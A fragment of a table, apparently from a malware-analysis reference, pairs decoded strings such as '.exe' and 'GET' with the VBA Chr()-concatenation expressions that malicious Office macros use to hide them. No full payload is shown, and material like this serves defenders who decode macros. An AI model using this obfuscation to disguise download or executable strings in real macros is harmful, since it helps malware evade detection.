|            |                      | & "." & Chr(101) & Chr(120) & "e"       |
| VBA string | GET                  | Chr(71) & "E" & Chr(84)                 |
+------------+----------------------+-----------------------------------------+